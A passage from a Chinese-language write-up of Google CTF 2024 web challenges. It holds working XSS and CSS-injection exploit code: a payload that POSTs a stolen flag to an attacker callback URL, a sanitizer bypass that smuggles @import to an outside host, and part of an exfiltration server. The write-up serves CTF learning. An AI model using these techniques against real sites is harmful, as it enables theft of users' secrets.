punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>          iframe<span class="token punctuation">.</span>contentWindow<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>            <span class="token literal-property property">eval</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/step_1_xss');                        let stop = false            for(let i=1; i&lt;=3; i++) &#123;              fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/open_' + i)              let win = window.open("https://postviewer3-web.2024.ctfcompetition.com/")                            setTimeout(() => &#123;                setInterval(function() &#123;                  if (stop) return                  win.location = "https://postviewer3-web.2024.ctfcompetition.com/#0"                &#125;, 2)                setInterval(function()&#123;                  if (stop) return                  win.location = "https://postviewer3-web.2024.ctfcompetition.com/#postviewer</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>window<span class="token punctuation">.</span>origin<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"                &#125;, 6)                setInterval(function() &#123;                  if (stop) return                  try &#123;                    win.frames[0].origin                    stop = true                                        fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/correct_sandbox')                    win.frames[0].onmessage = function(e) &#123;                      fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/flag', &#123; method: 'POST', body: JSON.stringify(e.data) &#125;)                    &#125;                    win.frames[0].Blob = function(a) &#123;                      fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/ping')                      fetch('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>callbackUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/flag', &#123; method: 'POST', body: a &#125;)                    &#125;                  &#125; catch (err) &#123;&#125;                &#125;, 2)              &#125;, 500)            &#125;            </span><span class="token template-punctuation string">`</span></span>          <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token string">'*'</span><span class="token punctuation">)</span>          <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span>      <span class="token punctuation">&#125;</span>      document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>iframe<span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'/start'</span><span class="token punctuation">)</span>    <span class="token keyword">await</span> <span class="token function">getSandboxXss</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>基本上就是開三個 interval，一個更新成 <code>#0</code>，一個更新成我們要的樣子，另一個則是不斷去覆蓋 flag iframe 的函式。觀察後發現有成功 XSS 幾次，但就沒有後續了，要嘛是 code 寫壞，要嘛是 modal 關掉了所以來不及。</p><p>總之呢，我自己還在嘗試的時候，隊友就做出來了，概念差不多，唯一的差別大概是 interval 的數字還有最後拿 flag 的方法。</p><p>雖然說 flag 內容是 sandboxed iframe，但是載入這個 iframe 的網頁是 same-origin 的，因此直接拿 iframe 的 src（會是一個 blob）再去 fetch 一下就好，因為也是 same-origin。</p><p>結論：race condition 真難，就算發現了也不一定撞得出來。</p><p>話說出題者 terjanq 給的官方解答在這裡：<a href="https://github.com/google/google-ctf/tree/main/2024/quals/web-postviewer3">https://github.com/google/google-ctf/tree/main/2024/quals/web-postviewer3</a></p><p>中間多了一步要在 <code>storage.googleapis.com</code> 上找一個 XSS，不過整體概念都是一樣的，只是偽造出 hash 的方式不同。</p><h2><span id="game-arcade-14-solves">GAME ARCADE (14 solves)</span></h2><p>這題其實跟 POSTVIEWER V3 滿像的，有許多程式碼甚至是共用或者是改良版，其實有點算偷偷在給 POSTVIEWER V3 提示（？）</p><p>總之功能就是有四個小遊戲，點下去之後會用 sandbox domain + shim.html（基本上就是 POSTVIEWER V3 的那個 shim）載入固定的 HTML。</p><p>這邊計算 sandbox hash 的方法跟之前不同，會用特殊符號進行 join，所以無法偽造。</p><p>而四個小遊戲中，有一個很明顯不是遊戲，部分程式碼如下：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">let</span> password <span class="token operator">=</span> <span class="token function">getCookie</span><span class="token punctuation">(</span><span class="token string">'password'</span><span class="token punctuation">)</span> <span class="token operator">||</span> localStorage<span class="token punctuation">.</span><span class="token function">getItem</span><span class="token punctuation">(</span><span class="token string">'password'</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token string">"okoń"</span><span class="token punctuation">;</span><span class="token keyword">let</span> correctPasswordSpan <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'span'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>correctPasswordSpan<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">'correct'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>correctPasswordSpan<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> password<span class="token punctuation">;</span><span class="token keyword">let</span> steps <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">savePassword</span><span class="token punctuation">(</span><span class="token parameter">pwd</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">password=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>pwd<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>  localStorage<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span><span class="token string">'password'</span><span class="token punctuation">,</span> pwd<span class="token punctuation">)</span>  <span class="token keyword">return</span> pwd<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>        <span class="token keyword">function</span> <span class="token function">changePwd</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  steps <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  password <span class="token operator">=</span> passwordInp<span class="token punctuation">.</span>value<span class="token punctuation">;</span>  correctPasswordSpan<span class="token punctuation">.</span>innerHtml <span class="token operator">=</span> password<span class="token punctuation">;</span>  output<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">'Password changed.'</span><span class="token punctuation">;</span>  <span class="token function">savePassword</span><span class="token punctuation">(</span>password<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這題的 bot 最後是透過 changePwd 寫入 flag，因此目標是執行 XSS，偷到在 cookie 或是 localStorage 裡面的 password。</p><p>從上面程式碼中很明顯可以看出，如果我們能蓋掉 cookie，就能有個 XSS。</p><p>為什麼呢？因為 password 可控，然後 <code>correctPasswordSpan.innerHTML = password</code>，雖然說 correctPasswordSpan 並沒有被放到畫面上，但其實還是有 XSS 的風險，真實案例可以看我之前跟 @sudi 找到的 figma XSS：<a href="https://github.com/Sudistark/xss-writeups/blob/main/figma.com-xss.md">Interesting case of a DOM XSS in www.figma.com</a></p><p>要覆蓋 cookie 的話，立刻能想到的就是從其他 domain 來的 cookie tossing，但這題的話 <code>*.usercontent.goog</code> 在 public suffix 裡面，所以沒辦法從其他 subdomain 寫入。</p><p>而剛好我隊友在解 POSTVIEWER V3 的時候有個想法可以用在這裡，他在當時就提了說不定可以構造一個 <code>http://sbx-fake.sbx-real.postviewer3-web.2024.ctfcompetition.com/</code> 的 domain，雖然在那題沒什麼用，但在這題就是解答了。</p><p>我們想影響的 domain 為 <a href="https://0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html">https://0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html</a></p><p>可以構造出一個 HTTP subdomain 的 XSS：<a href="http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-h641507400.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html">http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-h641507400.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html</a></p><p>就從這個 subdomain 做 cookie tossing 就行了（實際上真的 domain 要用你的 origin 去算，上面只是個範例證明 subdomain 可行）。</p><p>作者的 writeup 在這：<a href="https://github.com/google/google-ctf/tree/main/2024/quals/web-game-arcade">https://github.com/google/google-ctf/tree/main/2024/quals/web-game-arcade</a> </p><p>看了之後才知道原來 Chrome 在 blob 裡面沒辦法使用 cookie。</p><p>另外，我也跟作者一樣好奇為什麼這題明明比較簡單，但是解出來的隊伍卻比較少，我猜可能是沒想到可以構造一個 subdomain 吧？如果不是隊友提醒的話，搞不好我也想不到。</p><h2><span id="in-the-shadows-5-solves">IN-THE-SHADOWS (5 solves)</span></h2><p>這題的核心程式碼非常簡單：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token constant">UNSAFE_CSS_REGEX</span> <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">(@import|url[(])</span><span class="token regex-delimiter">/</span><span class="token regex-flags">i</span></span><span class="token punctuation">;</span><span class="token comment">/** * @param &#123;string&#125; stylesheetText */</span><span class="token keyword">function</span> <span class="token function">sanitizeStyleSheet</span><span class="token punctuation">(</span><span class="token parameter">stylesheetText</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token comment">// Early exit for imports and external URLs</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token constant">UNSAFE_CSS_REGEX</span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span>stylesheetText<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token string">""</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">const</span> sheet <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">CSSStyleSheet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  sheet<span class="token punctuation">.</span><span class="token function">replaceSync</span><span class="token punctuation">(</span>stylesheetText<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> sheet<span class="token punctuation">.</span>cssRules<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">--</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> rule <span class="token operator">=</span> sheet<span class="token punctuation">.</span>cssRules<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">shouldDeleteRule</span><span class="token punctuation">(</span>rule<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      sheet<span class="token punctuation">.</span><span class="token function">deleteRule</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">const</span> safeCss <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>sheet<span class="token punctuation">.</span>cssRules<span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">r</span><span class="token punctuation">)</span> <span class="token operator">=></span> r<span class="token punctuation">.</span>cssText<span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">"\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// Do the check again if somehow @import or url() reappears during re-serialization.</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token constant">UNSAFE_CSS_REGEX</span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span>safeCss<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token string">""</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> safeCss<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">/** * @param &#123;CSSRule&#125; rule * @returns &#123;boolean&#125; */</span><span class="token keyword">function</span> <span class="token function">shouldDeleteRule</span><span class="token punctuation">(</span><span class="token parameter">rule</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSImportRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSMediaRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSFontFaceRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSLayerBlockRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSLayerStatementRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSNamespaceRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSSupportsRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSPageRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSPropertyRule</span>  <span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// :has, :before etc. are potentially dangerous.</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSStyleRule</span> <span class="token operator">&amp;&amp;</span> rule<span class="token punctuation">.</span>selectorText<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">":"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>簡單來說呢，你能夠在一個 shadow DOM 裡面插入 <code>&lt;style&gt;</code> 標籤，但是標籤的內容會被上面的規則過濾掉，而目標是要偷到 parent body 屬性的 secret，格式類似於：<code>00ae32216ba630c797e19594d51fc2da0b5b7d6600000000e56c64a39f94843840757e667798110efb32fac16789565d66efb62c4a0492c6</code></p><p>一開始在看這題的時候，很明顯就是要用 CSS injection 去把東西偷出來，而有兩個難點：</p><ol><li>如何偷到 shadow DOM 以外的元素</li><li>如何繞過 sanitizer</li></ol><p>這題一開始是隊友先看的，第一個問題可以用 <code>:host-context(body[secret^=&quot;00&quot;])</code> 來解，用這個 selector 可以選到 shadow DOM 之外的東西。</p><p>而第二題的話，可以用除了被封鎖的那些 rule 以外的規則，例如說 <code>@scope</code> 或是 <code>@container</code>：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css">  <span class="token selector">.container</span><span class="token punctuation">&#123;</span>    <span class="token property">container-type</span><span class="token punctuation">:</span> inline-size<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token atrule"><span class="token rule">@container</span> <span class="token punctuation">(</span><span class="token property">min-width</span><span class="token punctuation">:</span> 500px<span class="token punctuation">)</span></span> <span class="token punctuation">&#123;</span>    <span class="token selector">:host-context(body[secret^="00"]) p</span> <span class="token punctuation">&#123;</span>       <span class="token property">color</span><span class="token punctuation">:</span> red<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>test<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>之所以可以靠這樣繞過，是因為在檢查規則時並不是遞迴檢查，只會檢查最上層，因此只要把 selector 藏在 <code>@container</code> 裡面，就不會被檢查到。</p><p>解決這兩個問題之後，下一步就是要把東西偷出來了。</p><p>因為 <code>@import</code> 跟 <code>url</code> 都被封住了，所以沒辦法只靠 CSS 來 leak，需要靠 HTML 的幫助，例如說最常用的 lazy-loading image。</p><p>把一個 img 先設成 <code>display:none</code> 並且加上 <code>loading=lazy</code>，就不會發出請求。接著用 CSS 設定成 <code>display:block</code>，就會發出請求（我記得以前我也試過，但不管怎樣都會發出請求，要嘛是我記錯，要嘛是 Chrome 中間有改過機制）</p><p>因此呢，就可以根據這一點來產生 payload，大致的內容如下：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css">  <span class="token selector">img</span> <span class="token punctuation">&#123;</span>    <span class="token property">display</span><span class="token punctuation">:</span>none<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token selector">.container</span><span class="token punctuation">&#123;</span>    <span class="token property">container-type</span><span class="token punctuation">:</span> inline-size<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token atrule"><span class="token rule">@container</span> <span class="token punctuation">(</span><span class="token property">min-width</span><span class="token punctuation">:</span> 100px<span class="token punctuation">)</span></span> <span class="token punctuation">&#123;</span>    <span class="token selector">:host-context(body[secret*="00"])</span><span class="token punctuation">&#123;</span>       <span class="token selector">.i00</span><span class="token punctuation">&#123;</span> <span class="token property">display</span><span class="token punctuation">:</span>flex<span class="token punctuation">;</span> <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token selector">:host-context(body[secret*="01"])</span><span class="token punctuation">&#123;</span>       <span class="token selector">.i01</span><span class="token punctuation">&#123;</span> <span class="token property">display</span><span class="token punctuation">:</span>flex<span class="token punctuation">;</span> <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>i00</span> <span class="token attr-name">loading</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>lazy</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>URL?i00<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>i01</span> <span class="token attr-name">loading</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>lazy</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>URL?i01<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>不過這題的 payload 有字數限制，經過實測之後，發現最多大概只能有 13000 個字元左右，很明顯是不夠用的。</p><p>我們想 leak 出 bigram，因此需要 00 到 ff 一共 256 個，13000 &#x2F; 256 &#x3D; 50，鐵定會需要的 <code>:host-context(body[secret*=&quot;00&quot;])&#123;&#125;</code> 就已經 35 個字了，只剩下 15 個字，除非有 url 可以用，否則做不到。</p><p>（話說 CSS spec 裡面有個 <a href="https://drafts.csswg.org/css-values/#urls">src()</a>，看起來是 url 的替代用法，但沒作用，看來還沒實作）</p><p>就算真的能做到，還有另一個問題，那就是字元太多導致重複率太高。</p><p>secret 有 112 個字，因此如果是 bigram，會有 111 組，但我測了幾遍，能有 93 組就已經很難了，代表說有 18 組都是重複的。因此，就必須 brute-force 一下，但是 C(93, 18) &#x3D; 7282746847637522000，怎麼看都不像是個可以暴力搜尋的數字。</p><p>因此，這個方向很可能是錯的，沒辦法。</p><p>那還有什麼方向呢？另一個方向是利用現有的機制來繞過檢查。</p><p>sanitizer 最後會回傳 safeCss，是由每一個 rule 的 cssText 組成的，如果可以讓最後的 cssText 有 <code>@impor\74</code> 之類的字元，就能夠繞過最後的檢查。</p><p>然後隊友就發現了 <code>@font-feature-values &#39;lol &#123;&#125;; @import &quot;lol.com&quot;;p&#39;</code> 在取出 cssText 後，會直接把單引號給去掉。而去掉引號之後，很顯然 CSS 的意思就改變了。</p><p>根據這點，就可以給一個這樣的 input：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css">  <span class="token atrule"><span class="token rule">@font-feature-values</span> <span class="token string">'lol; @\\0069mport "//exp.com";p'</span></span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>取出 cssText 後會變成：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css">  @font-feature-values 'lol<span class="token punctuation">;</span>  @\0069mport <span class="token string">"//exp.com"</span><span class="token punctuation">;</span>  <span class="token selector">p</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>成功偷渡了 <code>@import</code> 進去，接著就可以用常見的方式去把字元 leak 出來了。</p><p>說到這個，感覺應該要準備一個可以隨開即用的 CSS injection server，否則每次都要從頭再寫一個有點累。</p><p>這次我是直接用上次 <a href="https://blog.huli.tw/2023/12/11/0ctf-2023-writeup/">0CTF 2023</a> 寫的 trigram，但是有點 buggy，在把字元組回去那邊沒有考慮好，要跑很多次而且運氣好才能得到正解。</p><p>在邊嘗試邊修的狀態下弄了一個小時，運氣很好的拿到 flag。</p><p>話說根據 Discord 的賽後討論，這 bug 在近期被修掉了：<a href="https://chromium-review.googlesource.com/c/chromium/src/+/5604769">Properly escape CSS identifiers in serialization.</a></p><p>最後附上完整但不穩定的 exploit：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> express <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'express'</span><span class="token punctuation">)</span><span class="token keyword">const</span> app <span class="token operator">=</span> <span class="token function">express</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">const</span> port <span class="token operator">=</span> <span class="token number">5555</span><span class="token keyword">let</span> leaks <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token keyword">const</span> <span class="token constant">BASE</span> <span class="token operator">=</span> <span class="token string">'https://your_server.com'</span><span class="token comment">// prepare payload</span><span class="token keyword">let</span> chars <span class="token operator">=</span> <span class="token string">'0123456789abcdef'</span><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> a <span class="token keyword">of</span> chars<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> b <span class="token keyword">of</span> chars<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> c <span class="token keyword">of</span> chars<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">let</span> str <span class="token operator">=</span> a<span class="token operator">+</span>b<span class="token operator">+</span>c<span class="token punctuation">;</span>            arr<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">let</span> payload1 <span class="token operator">=</span> <span class="token string">''</span><span class="token keyword">let</span> crossPayload1 <span class="token operator">=</span> <span class="token string">'url("/")'</span><span class="token keyword">let</span> payload2 <span class="token operator">=</span> <span class="token string">''</span><span class="token keyword">let</span> crossPayload2 <span class="token operator">=</span> <span class="token string">'url("/")'</span><span class="token keyword">let</span> payload3 <span class="token operator">=</span> <span class="token string">''</span><span class="token keyword">let</span> crossPayload3 <span class="token operator">=</span> <span class="token string">'url("/")'</span><span class="token keyword">const</span> third <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span>length <span class="token operator">/</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> arr1 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> third<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> arr2 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token 